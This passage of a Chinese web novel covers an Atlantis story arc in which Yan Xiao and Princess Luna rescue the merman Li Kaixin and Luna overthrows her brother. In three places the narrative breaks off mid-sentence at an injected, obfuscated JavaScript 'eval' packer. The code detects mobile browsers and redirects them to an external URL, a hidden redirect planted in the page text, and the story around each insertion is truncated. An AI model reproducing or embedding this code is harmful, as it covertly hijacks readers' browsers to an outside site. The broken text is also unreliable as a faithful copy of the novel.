“哪里的话。祭司大人在阿特拉斯地位尊崇,我们哪有怀疑薇拉姑娘的道理。既然这位姑娘是公主殿下的人,那还劳烦薇拉姑娘带走吧。” 门开,阳光乍透,尘埃被照出一条光亮通路,言笑眯起了眼。门外是个瘦小的黑衣姑娘,刘海几乎挡住眼神,兜帽严实地笼过头顶,像是怕光。 两人对上视线。薇拉道:“跟我来。” 言笑方才就猜到那个偷吃点心的是公主,当然要好好利用一番。薇拉在前方走,低着头,言笑也不在意她始终沉默,左顾右盼四处张望。路旁种着许多杜松,言笑捡了个松果把玩,想着没见过,能不能吃,咬了一口,硌牙。看来不能。越向王宫深处走去,宫殿越高、越精妙、越富丽华美。鲜花铺了一路,果树上沉甸甸缀着果子,清泉被引出一支蓄成池水,莲花开了满池。 薇拉忽然停下脚步,转头,指了指莲花池,“莲蓬可以吃。别捡松果了。” “谢了您呐。”言笑弯腰薅莲蓬,咔嚓咔嚓嗑起了莲子。 还怪体贴的。 公主的宫殿外养着一匹白马,高大矫健,额前长角,身上没有一丝杂毛。见有陌生人来,那马不满地打个响鼻,高傲地扬起长颈,舒展开巨大的白色羽翼。进门,象牙穹顶的反射效果远胜于舞厅挡板,言笑差点当头被那声情绪饱满的“啊——”击碎,鸡皮疙瘩起了一身。 “我是暗夜里的舞者,我却披不起沉重的星光。” “公主,”薇拉打断公主的入戏,“人带来了。” 公主随手撩撩头发,回头,就好像见过言笑千百遍似的,自来熟地指指身旁的女仆,“你,你来念她的词。” 言笑莫名其妙,走过去接来女仆手中的话本子。这里的字言笑认不全,只能半蒙半猜个大概,“……你终将灿烂辉煌,你是这世间的太阳。什么破词啊,谁写的?” 公主昂起下巴,得意道:“我写的。” “……失敬了。”言笑翻翻剧本,突然计上心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949422|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“公主殿下,我给你写剧本怎么样?你不是爱演戏吗,我给你殿里每个人都安排角色。” 公主满面狐疑,“你能行吗?” 言笑“啪”地合上剧本,张口就来,“我给你写这么一个故事:从前有位王子,哦不,公主。有一天她的父王忽然死了,她的叔叔继承王位,又娶了她的母亲。可没想到在一个夜晚,她见到她父王的鬼魂!那鬼魂说,是她叔叔毒死了他——” 公主打断言笑,“为什么是叔叔?” 言笑摆摆手,“这不重要。舅舅也行。” 公主正要说话,门外女仆进来通传,说国王派人来给她送点心,侍从现在就在门外。 “让他进来。”公主熟练地提起裙摆,踹掉拖鞋换上皮鞋,走到铺着金纱的软榻旁边,突然柔弱地一头栽倒。女仆来给公主披毯子,公主顺手将话本子塞进毯子里,假模假样咳嗽两声,闭目养神。 言笑被这操作惊了,而后立马回神,跟着女仆们低眉顺眼站在一边。 侍从进门,点心一碟一碟端到公主手边,言笑默不作声看侍从与公主对话,听侍从称呼才知公主名叫露娜。三言两语,公主将侍从送走,又遣了众女仆出去,只留言笑与薇拉在殿里。 露娜将碟子往言笑的方向推推,“你吃。” 有得吃言笑从不客气。言笑拿了两个小酥饼塞进嘴里,“你这不一天天吃挺好么,怎么还去守卫的休息处偷吃?” 露娜踢掉皮鞋,盘腿坐在榻上,耷拉着眉毛,百无聊赖支起下巴,“这些精致点心都一样。王兄不让我吃守卫的点心,说那些东西低贱。可你觉不觉得其实守卫的点心更有嚼劲?” 言笑回忆一番,“还行吧。那个应该是在酥皮里加糖了,多嚼嚼有点甜。” 露娜笑笑,露出一颗俏皮虎牙,“爱吃就多吃点。” 无事献殷勤,非奸即盗。言笑又匆匆忙忙往肚子里划拉两块糖糕,抹干净嘴角,一本正经问道:“你怎么对我那么好?” 相对而坐的人依然在笑,眼神却忽地冷静而森然,就好像那个偷吃守卫点心的公主、那个在宫殿里兴致高昂排戏的公主、那个假装羸弱不堪的公主都只是无足轻重的皮囊,这一刻毒蛇咬穿皮囊,吐出鲜红的蛇信。“我知道你和海妖是一伙儿的。” 就知道没法安心把这几碟子都吃完。言笑点点头,“所以呢?” 公主深居王宫,却能在见到言笑之后做出如此推论,想来她有她自己的信息渠道,言笑并未打算否认。 “我昨天跟王兄说我好奇,跑去见了那位海妖。海妖说你一定会来。” “你在等我?” “只有你们两个可以使阿特拉斯岛免于地狱之火。” 言笑不知道地狱之火是什么,可这不重要。“那你为什么不直接把他救出来?” 露娜狡黠地对她眨眼,又慵懒地伸伸胳膊,打了个哈欠,“首先我需要确定他愿意帮我,其次我需要找到你。” 17. 阿特拉斯05 阿特拉斯的祭司一脉有预言之能,到了露娜与其兄长康莱德这代,祭司之职由薇拉的兄长乔安森担任。薇拉是祭司家族中预言能力最差的,遑论国祚,连第二天的天气都看不明白,离谱到她父亲甚至怀疑过她不是自己的种。 然而十六岁那年薇拉做了个梦,梦中场景已不可考,薇拉只记得人声凄厉,入耳皆是绝望哭嚎。梦醒后薇拉试图占卜,用尽家族中所有可以用于卜卦的灵器,也想尽所有能够看出卦象的办法,最后终于在一盆凌乱的猪大肠里卜出了端倪。 言笑问,“她看到了什么?” “地狱之火。”露娜停顿一下,又纠正道:“其实她并没有真正看到火,只是在她的预言里,她能感知到岛屿被火与岩浆覆盖,‘地狱之火’是卦面本身的说法。” “她连天气都看不准,你相信她能算出这样的卦?” “祭司家族曾有密辛,数百年前一位被认为毫无预言之能的家族成员卜算出了阿特拉斯史上损失最惨重的保卫战争,但当时没有人相信他,毕竟家族中没有任何人能看到同样的未来。祭司家族将这件事强行压下,因为卜出结果但不上报王室、且是如此重大的战事,一旦追责他们承担不起。 “后来他们认为,有些祭司血脉完全无法施展预言之能,是因为他们只为一场大卦而存在,这一卦耗费了他们的全部天赋。” 言笑低头想了会儿,挠挠耳朵,“那什么,我要是说实话你会把我处死吗?” 露娜回答,“阿特拉斯没有死刑。” “行吧那我就直说了。”言笑酝酿一番,决定还是递出一个敬称,“公主殿下,我可以理解你与你的兄长——也就是现任国王——之间有龃龉,但是你将这么大的秘密隐藏起来,非得自己干一票大的,你有没有想过万一这只是你一厢情愿相信自己愿意相信的,你要怎么收场?又或者,如果被薇拉看到的未来确实是真实的,可你却不愿意让阿特拉斯岛真正的统治者来解决这个生死存亡的问题,一旦你要做的事情失败了,你要怎样背负责任?亲自当这个英雄真的那么重要吗?” 一直沉默的薇拉出言提醒,“阿特拉斯虽然没有死刑,但国王会用罪大恶极之人做十字戏的棋子,被吃掉的棋会被拉去喂秃鹰。” 言笑,“……谢谢告知,真是独特的风俗呢。” 露娜做了个手势,让薇拉住声。“我和我王兄,我们无法互相说服。我们之间有不可调和的矛盾。 “海潮泛滥,湖水沸腾。百姓认为这是发动侵略战争的报应,而祭司说这是因为海妖作乱。祭司预言海妖会让整个大陆沉入海底,所以必须捉拿海妖,只有处死海妖,大陆才不会沉没。 “祭司预言了海妖出现的位置,王兄派出武士在海边轮值半个月,又让所有渔民注意海妖,这才抓到了你的朋友。” 言笑把碟子又抓过来,嘎吱嘎吱继续吃,“这都是借口。世上哪有海妖。” “有的。”露娜悠悠叹气,“但大家一般称他们为人鱼。在阿特拉斯,人们相信海洋是人类与神灵的起源,君权神授,将人鱼妖魔化也无非是为了巩固政权。” 言笑并不关心泡泡里的芸芸众生,毕竟再真实的幻象也是幻象,当务之急是把李开心救出来。既然有些泡泡的离开条件是推动剧情,那么露娜的出现相当于直接把主线任务挑明,言笑现在除了跟随露娜完成任务别无他法。 “让我们帮你也行。但你得先救海妖。” 露娜答得干脆利落,“没问题。” “这么有把握?怎么救?有计划吗?” “我有钥匙。” “……哈?” 几年前露娜曾在神庙的藏书阁里发现王宫的密道地图。藏书阁内阁只许王室成员入内,而国王康莱德近年一直忙着发动战争,浩繁卷帙无人问津,密道地图就这么轻易落到露娜手里。 “其实我和薇拉猜测,所谓‘地狱之火’是指火山爆发。传言阿特拉斯岛最高处的湖就是火山喷发形成的,整座岛屿实际就是一座火山。” 薇拉在前面提着灯开路,露娜从怀里掏出两大串黄铜钥匙,哗啦哗啦作响,塞到言笑手中,“海妖让人锁着尾巴和头,这是钥匙。” 言笑感到匪夷所思,“你哪里来的钥匙?” “锁匠是我的人。”露娜小心翼翼提着裙子,专心看路。即使在寝殿里再不修边幅,公主出门也总要换上极难走路但优雅高贵的鞋子。 密道结构并不复杂,直来直去,岔路也不算多,不像有意让人兜圈子。言笑又问,“这秘道都能通往哪里?” “王宫的各处宫殿、监牢、后厨,都能到达。哦,还有个地方总是有点儿漏水,我怀疑那地方刨开就是温泉。” “那头顶这些符号呢,都是什么意思?” 露娜停下脚步,仰头张望,“什么符号?” 密道上方密密麻麻印着一些奇怪符号,像是用深蓝色的墨水写的。言笑问,“你们都看不到么?” 露娜与薇拉对视一眼,齐齐摇头。 言笑喃喃道:“有些符号会以一定频率重复……这看起来像是某种失落的语言。” 露娜眼神忽地一亮,像是被鼓舞了,欢快道:“你看,我就知道你是特别的,你会拯救阿特拉斯!” 言笑心说可别给我戴高帽了,你们这群泡泡小人,“我是个废柴,光靠我自己可救不了。我那朋友就厉害了,他肯定能想到办法。” 密道通往监牢的出口是一整面墙,正因如此才不易被人发觉。言笑扳动机括,推开了墙,一抬头就看见李开心被钉在十字架上。 据露娜说李开心原本没被关在这间囚室,还是露娜建议换到这里来的,说这儿是牢狱最深处,从来没有囚犯跑出去过。李开心的双手分别被麻绳捆在十字架两端,在脖颈和银白尾巴尖儿上了两把极其精细复杂的锁,每把锁若想打开,需要十二把钥匙,而那锁里纵横交错着无数钢刃,但凡腾挪一寸,就得皮开肉绽。 言笑若无其事打声招呼。李开心淡定道:“我就知道你会来救我,虽然来得有点晚。” 言笑实在没忍住上下打量李开心这身匀称有力的肌肉,如同勾栏苑里每日芙蓉帐暖的恩客。李开心皮肤极白,自肚脐处顺畅过渡为迤逦长尾,鳞片带着闪光,鱼尾下三分之一近乎半透明。若是非要挑刺,大概只有胸口一片明显疤痕破坏了这具躯体的完美,以言笑多年玩游戏和看连续剧的经验来看,那应该是□□留下的伤疤。 人工智能就是不一样,一枪崩胸口都死不了。 言笑把一串钥匙扔给露娜,示意她和薇拉去开鱼尾的锁,自己走到李开心跟前,给他开鱼头,“来得够早了。你对我要求也太高了。” 十二把锁需要对应十二把钥匙才能打开,但具体如何对应不得而知,这是由上锁的人决定的,言笑只能一把把钥匙挨个试。大概是因为如今环境温度恢复正常,李开心也恢复了体温,言笑试钥匙时不小心贴到他颈间一小片皮肉,热的。血管有突突的跳动,这说明李开心有脉搏,言笑一边费力地将干涩的钥匙塞进锁眼,一边天马行空地想,血管的终端连接着心脏吗?李开心会因为心脏病而死吗?这颗心会痛吗?在他胸口开一枪真的会杀死他吗? 钥匙拧不动,言笑只好费力地再拽出来,忽地用力过猛,锁中刀刃顷刻间重重压在李开心颈上。 “呀!”即使喊出了声,言笑也还没忘记此刻监牢之外有人把守,声音压得发哑,汗倒是瞬间冒了满头。 “没事。”李开心神色未变,深吸一口气,闭上眼睛,“继续。” 伤口极薄,大概两三厘米长,也不算深。言笑舔舔发干的嘴唇,努力将注意力重新放回开锁上,可大概是太紧张,一紧张言笑就话多,没话找话,“你这尾巴,你打算怎么办?” 李开心睁开了眼。囚室光线暗淡,李开心一双浅色虹膜被衬得幽暗,“根据记载,人鱼只要砍断尾巴就能变成人。” 就这么简单?言笑提议道:“要不你现在忍一下?那边也不用费劲开锁了。”咵嚓从靴筒抽出匕首,“就是这匕首有点小,可能一刀砍不断。” 归墟海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955360|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水凶猛,连李开心的衣服都没给他剩下,言笑的匕首倒还没丢,看来李开心之前制作的绑带确实靠谱。 李开心神色复杂地看她。 言笑不以为意,也没明白李开心那眼神的意思,还以为是他怕疼,安慰道:“早晚都得有这么一下子,要不你忍忍。再说等你变出腿来了,尾巴疼也不关你事了啊?” 李开心委婉道:“我现在没有裤子。” 言笑默默把匕首插了回去,继续开锁。 李开心又说:“这尾巴还是暂时留着吧,可能会有用。”说罢,略微抬起下巴,在言笑耳边轻声说了句话。言笑侧头,与李开心对上视线,又望向正在专心开锁的露娜与薇拉,一时无话。 两个人总比一个人手速快,随着尾部传来轻微的“咔嚓”一声,沉重铜锁从中间裂开。“打开了!”露娜欢快地拍拍手上的灰,扭着腰站起来,催促言笑,“你快点!” 薇拉一声不吭,起身去帮言笑继续开锁。黄铜钥匙咔啦咔啦撞击着,曲折走廊的远处忽然传来高喝,“谁在那里!” 言笑的手不受控制地猛颤一下。李开心立刻察觉言笑心神不宁,沉声道:“别管他们。继续。” 即使人多手杂,露娜也立刻挤过去帮忙。李开心闭眼细听,“监牢门口到前方走廊拐角有一百二十米。以他们现在的速度计算,我们有将近四十秒。” 还有五把锁没打开,也就是说至多需要再试十五次,三个人,在最坏情况下平均每人次开锁要控制在八秒内。钥匙不够光滑,时常在锁眼里卡住,八秒紧紧巴巴,几乎已经是极限速度。言笑手心里全是汗,钥匙直打滑儿,露娜和薇拉也都紧抿着嘴,指甲捏得发白。 一秒,再一秒,脚步逐渐靠近。言笑咔啦一声,又打开一道锁。 脚步声中夹杂了窃窃私语,来人如同听见锁响,竟忽然加快脚步,跑了起来!长剑出鞘声、盔甲摩擦声,嘈嘈切切,逼近如同能够瞬间咬破喉管的蛇。 “你们走。”李开心低声道。 言笑头都没抬,继续开锁。露娜焦急向走廊张望一眼,对言笑道:“走吧!” 言笑知道李开心的判断是正确的,很有可能她们会被逮个正着。但不试到最后一秒言笑终归不死心,万一万一,她运气太好,每把锁都一试即中呢? 须臾,来人距离囚室只剩一个转角的距离。李开心眼神忽变,长尾一甩,直接将三人击入密道之中,言笑甚至在头昏眼花中瞄见了转角后的靴尖。随后墙体被重重推回原位,头顶云山雾罩似的往下飘石灰。 墙体上端有个机括,扣上之后只能单向推动,守卫无法发现她们。三人悄悄趴在墙体缝隙处,凝神细听。 脚步站定,有个声音道:“祭司大人,您请。” 言笑心里吐槽,身为尊贵的祭司大人竟然和守卫一起在走廊里不顾形象地猛跑,真是没有偶像包袱,哪怕说是守卫扛着他跑,听起来都比较容易接受一点。 随后,那声音突然颤了颤,“……可能这锁不结实,被海妖挣脱了。我们立刻重新锁上!保准不让他逃跑!” “不用。”乔安森的声音冷而淡漠,略微纤细却也莫名动听。“明天国王将在神庙以海妖祭祀先祖。给他下了麻药,带走吧。” 露娜赶紧摆手,用眼神示意她也不知道这事儿。言笑指甲死死抠着墙皮,心里已经在盘算是不是只有沉岛才能让李开心逃脱出来。遽然地面震动,石灰粉唰啦啦掉人满头满脸,墙体另一边传来叫喊,“地震了!快!” 露娜当即脱掉铡刀似的水晶高跟鞋,随手扔了,拉着言笑一路疯跑。震荡与奔跑之中言笑分神瞄着露娜生机勃勃的侧脸,不由想起刚才李开心在她耳边说的那句话。 这里或许是传说中的亚特兰蒂斯,整座岛会沉入海底。 即使李开心不说,其实言笑也早已意识到了。只是这一刻言笑忽然对鲜活而疯狂的泡泡小人生出怜悯,她是这样希望拯救这座岛,拯救所有子民;她是这样拼命希望自己活下去。 然而死亡是岛民注定的命运。 18. 阿特拉斯06 未几,地动停止,三人六只脚丫子依然在密道里狂奔,露娜光脚发出的啪嗒啪嗒声格外清脆。 “停,停一会儿——”言笑快要岔气,连声讨饶。从在山海世界就一路疯跑,刀山火海,哪想上了阿特拉斯岛还要疲于奔命。 薇拉来到言笑另一边,直接把她架了起来。言笑夹在中间,被连拖带拽紧锣密鼓地塞回露娜宫殿里。 言笑多一步也跑不动,躺在地上喘气。前两天体力消耗太多,言笑一直就没缓过来,可再看露娜这惊人体力简直是练铁人三项的好苗子,即使言笑状态好也不一定能跑过她,实在难以想像露娜平日假装得有多么离谱。 露娜任由言笑在地上躺着,让人拿来纸笔写信。薇拉端来一碟点心,默不作声蹲在言笑身边,一块一块往她嘴里塞。 片刻写毕,露娜给信封上了漆封,吩咐薇拉送信。言笑吃甜了,嗓子发齁,这才挺着一把酸痛的骨头挣扎着爬起来,吨吨吨灌了三杯水,而后拿起露娜刚放下的羽毛笔,坐在桌前涂画。 露娜站在言笑身后看她书写,“你在写什么?” 言笑头都没抬,“密道上方那些鬼画符。” 露娜惊诧扬眉,“你都能记住?” “一共也没多少。其实翻来覆去就那么几句,不停重复。” 露娜细细望着纸上字符。这是一种看似古老且极其复杂的文字,时常出现流水般的曲线,笔画粗细不同也会代表不同信息,言笑时常刻意将笔画的一部分涂粗。 露娜说:“这好像是人鱼语。” 言笑回头,“人鱼还有文字?” “有的。” “那你认识么?” 露娜的视线始终未从这些符号上移开,“不认识。而且是人类学不会的。” 言笑理解不了为什么学不会,但也没再追问。泡泡有独立的世界观,大概在这里人类与人鱼有知识隔离。“所以你的计划是什么?明天我朋友就得祭天了,一旦海妖死去,阿特拉斯岛就要遭受地狱之火,这可是你说的。” 露娜眨了眨眼,“我们把他抢出来。” 言笑兴奋地搓手,看热闹不怕事大,“太好了,我看连续剧就爱看这种剧情。你把计划跟我说说,还有需要我做什么?” “没有计划。硬抢。” 据人回报,康莱德刚向岛上贵族发出邀请,明日举行祭祀,是祭司大人建议尽早处死海妖,以免夜长梦多。这消息在百姓之中也正在传开,露娜久居深宫,不涉及政务,一如往常没人及时送信过来。 直到入夜,康莱德身边的侍从才姗姗来迟,告知露娜祭祀一事,还为她带来礼服。露娜光脚坐在游廊里,随手拨弄裙边蕾丝,月光颓废灰白,只有落在露娜发间时才会显出些微光彩。“每年祭祀,都是哥哥亲自帮我准备礼服。今年祭祀突然提前,这礼服大概也是糊弄着裁制好的,我不穿。” 侍从面露难色。 言笑为掩人耳目,早已换上女仆装扮,此时正站在露娜身后,分明见得礼服上的刺绣精美华贵,露娜纯属没事找事。 露娜挥挥手,示意侍从把礼服带下去,略提了提裙摆,光脚下地,“我人去就行了。管那么多。” 神庙临近岛屿中心。穿过环形赛马道与层层密林,数十座纯金雕像镇守神庙四方。再往里走,神庙前方,巍峨铜柱密密麻麻记载神律,以及对于不顺从者的严厉诅咒。祭祀在殿外举行,言笑老早看见李开心被锁在铜柱脚下,尾巴尖儿干得掉鳞,估计缺水。李开心周围堆满各色鲜花水果,满目琳琅,这是阿特拉斯岛的传统祭品,今天李开心只能算个添头。 听薇拉说神庙内的纯金神像比殿外历代国王与其配偶的雕像高三倍,雕像头顶几乎触到象牙天花板,海神高高站立于战车之上,驾驭着六匹扬起翅膀的马——听到此处言笑忍不住问,为何一路过来只见到露娜的马有角有翅膀,别人的马都没有? 薇拉回答,“只有这一匹稀罕的,老国王赏赐给公主了。那翅膀也不能飞,尖角戳人倒是挺疼的。” 言笑心说本以为阿特拉斯盛产独角兽,敢情是基因突变。 人群渐渐安静,祭祀开始,众人手握酒杯,粮食酿造的美酒散发出质朴浓厚的香醇味道。国王康莱德站在最高处,举起黄金酒杯中的血酒,祭司乔安森比康莱德低半个身位,一身黑衣,低眉敛目,手执镶嵌了墨绿宝石的银制手杖。祭祀词自古老传说开始,海洋孕育神灵与人类,太阳给予人类力量,神灵后人承接神灵的福祉,建立城邦。 然而人类浅薄无知,人类的傲慢、嫉妒、暴怒、懒惰、贪婪、暴食和色欲激怒神灵,天降神罚,大地动荡。根据祭司预言,只有海妖之死可以平息神的怒火,拯救岛民,使阿特拉斯恢复平静。 “哼,笑话。” 这声冷笑带着天真与甜美,仿佛纯洁歌谣,众人目光唰地齐聚,露娜在瞩目之中从容而高傲地一步步跨上花岗岩台阶。 “既然王族自诩神灵后人,统治百姓,又何必让无辜百姓分担罪名?天降神罚从来不是因为百姓犯下罪恶,而是因为阿特拉斯向岛外永无休止地发动战争。” 康莱德在烈日之下眯起眼睛,淡漠打量正在走向高处的妹妹。“乔安森,将公主带下去。” “你敢。”露娜依然笑着,眼珠晶莹如同钻石。乔安森被她慑住,一时踟蹰不前。 康莱德又重复一遍,“带下去。” 乔安森刚迈出脚步,露娜继续道:“祭司一脉如今不止乔安森一人有预言之能。拯救阿特拉斯的机会确实在这所谓的‘海妖’身上,但如果杀了他,阿特拉斯将万劫不复。我——今天要带走他。” 这已经算是无可辩驳的挑衅,神庙周围的武士立刻架起弓弩,举起长矛,短剑与战斧起手,在空中挥动出短促呼啸。 露娜亮出酒杯,三根手指轻盈捏着,而后忽地松开,酒杯落地。当啷一声,酒水倾洒,与此同时烟花长啸,在半空爆裂开来,远处传来重重踏地之声,康莱德与乔安森都变了脸色。 那是军队行进的声音,马蹄与战靴,隆隆作响,几乎可比岛上地动。言笑叹为观止,在心里叫了声好——国王想让公主闭嘴,公主竟然有本事起兵围神庙。 “哥哥,你由父王的情人所生,十岁才被接回王宫,名分虽不好听,父王到底也没亏待过你。你是父王唯一的儿子,我这个女儿又这么不争气,即使当时有传言说父王会立我为王储,你又何必如此心急? “你让父王的侍从给他下毒,又买通医生,宣称父王死于急病。你真的以为你做得滴水不漏吗?” 踏地声仍未间断,步步靠近。康莱德向远处略扫一眼,“证据呢?” “你不否认,你的回答就已经出卖了你。可这些都没关系,我今天不是来说服你的,也不是来服众的。暴力可以用于统治不肯降服的一切,这是你教给我的。哥哥,你犯的最大错误就是低估了我。” 言笑身边的薇拉忽然奋力将三叉戟向露娜掷去。露娜仅凭三叉戟破空声即将其准确抓住,一挥一砍,铜链落地,李开心自铜柱上挣开。 康莱德登时暴怒,“拿下!” 然而没等神庙周围的武士拿下露娜,露娜率领的武士就已抵达,一时间拼杀声四起,刀剑相斫不绝于耳。骤然地动山摇,有人高呼,“大湖溢水啦!” “大湖”就是岛屿最高处的湖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959105|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着岛屿颤动,冒着热气的水流自高处汩汩奔下,转瞬已冲刷至神庙。李开心长尾一甩,银白鳞片灼灼闪光,正要穿过人群向言笑奔去,突然被三叉戟拦住去路。 李开心立时改为由尾尖站立,骤然腾窜起来,拽住拦路之人的手臂,重重将他拉下马来。言笑尚没来得及反应,已经被策马而来的李开心拦腰拎到马背上。 “咱们这是往哪儿跑啊?”言笑没骑过马,颠得快吐了。 “先跑再说。” “我遇见了一个联盟派进泡泡里的大叔,他在这儿四十多年了,咱们走的时候把他也带走吧。” “进泡泡的人都是联盟的走狗。” 言笑顿时反应过来,现在安排这些可能稍微有点儿早。李开心说走是指远离神庙,她直接脑补成离开泡泡。可李开心这一无端结论让言笑忽而有点摸不清李开心的立场,“那我们呢?” 追兵紧随其后。李开心没回答,言笑忍不住又问,“要是咱们真能离开这里,到底要不要带走他——” 有李开心在背后保护,不用担心摔下马背,言笑大着胆子回头看李开心,倏尔竟越过他的肩膀看到破空而来的利箭! “小心——” 利箭并未冲李开心后背而来,却射中了马腿。白马哀哀嘶鸣,绊倒在地,两人齐齐往前扑个跟头,落下了马。 兵器相接之声尖利刺耳,言笑仓皇回头,却见曾当过特种兵的大叔娴熟地在马背上刺出长矛,拦在两人身前。来者不敌,数十回合拼杀之后狼狈逃走,大叔施然收起兵器,伸手扶正头顶歪斜的斗笠。 “我听说要在神庙祭祀海妖,想着万一你们需要帮忙,就过来了。这周围王宫武士太多,别提我走了多少小路。” 言笑确实拿不准他们何时才能回到现实世界,可若也像在鹦鹉螺城那样,剧情走完就能回去,那或许有效剧情节点就是露娜篡位成功。李开心将言笑从地上拉起来,言笑没顾得上分神看他,仰头望向马背之上,“大叔,如果能离开这里,咱们一起走吧。” 大叔面上笑容敛去了些,沉默应对。 言笑急道:“这里或许就是传说中的亚特兰蒂斯,是要沉入海底的!” 远处打杀叫喊声一片嘈杂。片刻,大叔悠悠叹道:“我父母早亡。四十多年过去,我的爷爷奶奶应该早就不在了,我回去也没什么意义。” “那,”言笑结巴一下,“那你就坐船带大婶走啊!最近地动这么频繁,说不定什么时候这个岛就没了。” 大叔缓缓摇头。逆光之中言笑很难把对方表情看得具体,可言笑能看明白,他不愿意。 李开心始终看着大叔的脸,突然开口说了个名字,又报出一串编号。 名字与编号已经太过久远,久远到所对应的人几乎难以凭本能作出反应。大叔眼睛忽地亮了,可偏就迟疑许久,盯了李开心半晌,难以置信道:“你认识我?” 李开心不置可否。 大叔细细注视着李开心,仿佛突然想到什么,背挺直了些,连口吻都变得恭敬肃然,“你是——” “你的祖父与祖母分别于2192年5月15日、2203年7月8日去世。联盟为他们处理了后事,你可以安心。” “好,好啊……”大叔喃喃道,似笑非笑,却也满目悲怆,怅然若失。 大叔骑马离开,走前只嘱咐言笑与李开心注意安全。言笑目送一人一马远去,想着大叔这是无牵无挂才觉得回去没什么意思,可她还有爸有妈有秦笙,来泡泡里卖命纯粹是为了攒钱在上城区买房。 “哎,大腿。”言笑拿胳膊肘撞撞李开心,“我不像他这么无欲无求,你可得带我出去。” 19. 阿特拉斯07 李开心说:“放心。” 言笑心说李开心自个儿都能在一个泡泡里待十年,他说放心实在是很难让人放心。可话递到这儿也只能这么说,言笑不再纠结,转而思考如果露娜篡位之后他们还没出去,这剧情应该怎么走。 地动一直持续,时轻时重,空气也因此燥热起来,仿佛一瞬入夏。李开心寻到一处遮阴山洞,烤了只兔子和言笑分着吃。 大湖附近的鏖战并未爆发太久,可就算言笑再看热闹不怕事大,也不能把脑袋别裤腰带上,非得凑着看这种热闹。君主更迭,消息没那么快传到城邦,两人在山洞里躲到天黑,决定回王宫探听消息。 走大门太招摇,而且万一万一,露娜篡位失败,这就相当于千里送人头。言笑记得露娜说过地道有个地方渗水,那处应该与河流相通,李开心现在和鱼类比就差个鳃,不用白不用。 去往河边的路上,言笑没话找话,“之前把你绑铜柱上,差那么一点点就祭天了,你还能那么淡定,心理素质真好。你说万一我们没来救你,你怎么办?” 李开心道:“你参加祭祀的时候不也很淡定么。要是我死了,只剩你自己,你离开泡泡的概率更低。” “……这能一样么。” 李开心睫毛微动,垂眸看着言笑,停顿一下,解释道:“其实据我这么多年观察,泡泡不会对我们下死手。泡泡实际上是所有研究员对特定人员的保护。” “特定人员?”言笑问他,“怎么算特定人员?” “你也是特定,我也是特定。” “大叔是么?” “不是。” “你打算向我解释,‘特定人员’的标准吗?” 李开心沉默不语。 “行吧。”言笑就猜到是这个结果,也不追问。行至河边,李开心下水探路,言笑在河边蹲着等他,忽然风云变色暴雨当头。言笑悲戚地抹了把脸,冲河里嚷,“这都什么人间疾苦啊!李开心你找没找——啊啊啊!” 水里隐约闪过长长一条银白影子,李开心遽然破水而出,攥住言笑脚脖子将她拉进了水。 密道里隔段距离就放了盏煤油灯,是露娜留的。言笑摸黑找到,点上,带李开心向露娜的宫殿走。敲墙三下,是薇拉来开门。言笑长舒一口气,放下煤油灯,就地开始拧头发上的水,“可算到了!给我拿个毛巾,再拿身衣服!” 薇拉给言笑拿衣服,又按李开心请求,给他找了一件长袍。露娜正坐在寝殿的地上,木然揪着地毯上的毛,一下一下,手边已经堆了一小撮。 言笑问她,“现在到底什么情况?国王呢?” 露娜缓缓抬起脸来,眼珠像是死的,一动不动,只视线随着面部移动与言笑目光相触,“我是国王。” 厚重的丝绒床帘背后忽然传来窸窣响动,还有男人压抑的闷声挣扎。露娜床上有个男人! “闭嘴!”露娜忽然跳了起来,重重扯开床帘。 言笑倒吸一口凉气——看不出来露娜玩儿挺野啊。康莱德正被反背双手绑在床上,嘴里塞了两只毛绒袜子。取材如此顺手,大概率袜子是露娜的。 “你敢信吗?”露娜先是小声哼笑,而后竟笑得愈发放肆癫狂,长发粘在脸上,抬手指着康莱德的鼻子,轻佻如同在给言笑讲故事。“我小时候可喜欢我这个哥哥了,从第一眼看见他就可喜欢他了。但我知道他不喜欢我。 “我是名正言顺的王储,只是阿特拉斯的好战早已在百年前就见过端倪。如果由我即位,大臣们会担心阿特拉斯无法继续扩张版图。然而无论如何,父王总是更中意我,于是我亲爱的哥哥杀死我们的父王,继续阿特拉斯的‘荣光’。 “哥哥啊哥哥,”露娜单膝跪在床沿,爬上了床,凑近康莱德的脸,轻浮捏起他的下巴。她眼珠通红却不见泪,嘴角高高扬着,什么是偏执,什么是疯狂,这些此刻都在病态又凉薄的笑容里变得具象。“我知道你从来都不喜欢我,只是我太能磨人,太会粘着你,你敷衍我罢了。你高估了父王,也低估了我。” 康莱德在极近的距离里与露娜对视,嘴被堵着,说不出话,他终于不再挣扎。 